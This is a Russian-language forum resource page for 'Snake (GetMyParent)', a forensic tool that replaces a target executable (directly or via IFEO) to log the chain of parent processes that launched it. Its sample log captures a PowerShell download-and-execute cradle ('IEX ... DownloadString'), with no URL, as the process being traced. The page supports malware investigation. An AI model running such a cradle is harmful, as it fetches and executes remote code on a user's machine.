Иконка ресурса

Snake (GetMyParent) 1.0

Назначение:
Позволяет отобразить цепочку вызовов процессов до интересующего, без использования специальных трейсеров.

Использование:
Подменить файл интересующего процесса на файл из ресурса (snake.exe) - физически, или через IFEO.

Логи:
Логи будут созданы рядом с программой с именем logfile(x).log - на каждый вызов отдельный лог.

Пример лога:
Код:
THIS PROCESS:
---
Command line: powershell  IEX (New-Object system.Net.WebClient).DownloadString
---
Name:         snake.exe
Path:         C:\Snake\snake.exe
Session:      1
PID:          5108
Parent PID:   4820
CreationTime: 7/6/2022 5:02:52 PM
---
Parent of 5108 is: 4820
---
Name:         cmd.exe
Path:         C:\Windows\System32\cmd.exe
Session:      1
PID:          4820
Parent PID:   4040
CreationTime: 7/6/2022 4:56:16 PM
---
Parent of 4820 is: 4040
---
Name:         TOTALCMD64.EXE
Path:         C:\totalcmd\TC\TOTALCMD64.EXE
Session:      1
PID:          4040
Parent PID:   6248
CreationTime: 6/22/2022 3:42:56 PM
---
Parent of 4040 is: 6248
---
Name:         explorer.exe
Path:         C:\Windows\explorer.exe
Session:      1
PID:          6248
Parent PID:   6228
CreationTime: 6/22/2022 2:15:17 PM
---
Parent of 6248 is: 6228
---
Path:         C:\Windows\System32\userinit.exe (hidden)
---
Parent of 6228 is: 700
---
Name:         winlogon.exe
Path:         C:\Windows\system32\winlogon.exe
Session:      1
PID:          700
Parent PID:   0
CreationTime: 6/22/2022 2:15:09 PM
---
No more parents found.
---
CALL CHAIN: snake.exe <= cmd.exe <= TOTALCMD64.EXE <= explorer.exe <= userinit.exe (hidden) <= winlogon.exe
  • Like
Реакции: machito и akok
Автор
Dragokas
Скачивания
301
Просмотры
688
Первый выпуск
Обновление
Оценка
0.00 звёзд 0 оценок

Другие ресурсы пользователя Dragokas

  • System File Replacer
    System File Replacer
    Помощь в замене системного файла, предоставленного аналитиком
  • HiJackThis+ (Plus)
    HiJackThis+ (Plus)
    Спец. инструмент для борьбы с вредоносными и другими нежелательными программами
  • Sysinternals PsGetsid
    Получение SID юзера/службы и наоборот
  • Registry Time Decoder
    Registry Time Decoder
    Конвертирует дату из форматов FILETIME, SYSTEMTIME, UNIX-TIME, которая обычно встречается в реестре
  • SetACL Studio
    SetACL Studio
    Управление привилегиями DACL/SACL

Поделиться ресурсом

Назад
Сверху Снизу